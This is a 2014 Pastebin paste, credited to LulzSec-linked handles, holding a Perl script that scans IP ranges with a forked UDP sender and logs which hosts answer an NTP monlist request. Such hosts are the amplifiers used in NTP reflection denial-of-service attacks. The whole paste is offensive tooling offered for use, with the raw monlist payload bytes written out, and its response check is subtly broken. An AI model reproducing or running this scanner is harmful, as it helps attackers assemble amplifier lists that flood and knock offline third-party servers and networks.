AnonZor

[+] NTP Scanner Fixed by: @LulzSecINT [+]

Oct 1st, 2014
953
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.96 KB | None | 0 0
  1. // Tnx to Vypor for his bad NTP Monlist Payload!
  2. // NTP Monlist Payload Fixed by: @LulzSecINT, @AnonZor, @WGET1337
  3. // #LulzSecReborn
  4.  
  5. #!/usr/bin/perl
  6. use strict;
  7. use Net::IP;
  8. use IO::Socket;
  9. use Term::ANSIColor;
  10. use vars qw( $PROG );
  11. ( $PROG = $0 ) =~ s/^.*[\/\\]//;
  12. #Usage
  13. if ( @ARGV == 0 ) {
  14. print "Usage: ./$PROG [START-IP] [END-IP] [PORT] [THREADS] [TIMEOUT] [OUTPUT]\n";
  15. exit;
  16. }
  17. my $threads = $ARGV[3];
  18. my @ip_team = ();
  19. $|= 1;
  20. my $ip = new Net::IP ("$ARGV[0] - $ARGV[1]") or die "Invaild IP Range.". Net::IP::Error() ."\n";
  21.  
  22.  
  23. #Start Forking :D
  24. while ($ip) {
  25. push @ip_team, $ip++ ->ip();
  26. if ( $threads == @ip_team ) { Scan(@ip_team); @ip_team = () }
  27. }
  28. Scan(@ip_team);
  29.  
  30. #Scan
  31. sub Scan
  32. {
  33. my @Pids;
  34.  
  35. foreach my $ip (@_)
  36. {
  37. my $pid = fork();
  38. die "Could not fork! $!\n" unless defined $pid;
  39.  
  40. if (0 == $pid)
  41. {
  42. alarm 1;
  43. #Open socket, save to list, print out open ports
  44. my $socket = IO::Socket::INET->new(PeerAddr => $ip , PeerPort => $ARGV[2] , Proto => 'udp' , Timeout => $ARGV[4]);
  45.  
  46.  
  47. my $payload = "\x17\x00\x03\x2a\x00\x00\x00\x00";
  48. my $good = "\x17\x00\x03\x2a";
  49.  
  50. $socket->send($payload) or die "Nothing got sent.";
  51.  
  52. my $data;
  53. $socket->recv($data,4);
  54. my $response = substr($data,0,8);
  55. $response = reverse($response);
  56. open (MYFILE, ">>$ARGV[5]");
  57. if ($response == $good) {
  58. print MYFILE "$ip\n" if $socket;
  59. print "Found $ip\n";
  60. close (MYFILE);}
  61. exit
  62. }
  63. else
  64. {
  65. push @Pids, $pid
  66. }
  67. }
  68.  
  69. foreach my $pid (@Pids) { waitpid($pid, 0) }
  70. }
Advertisement
Add Comment
Please, Sign In to add comment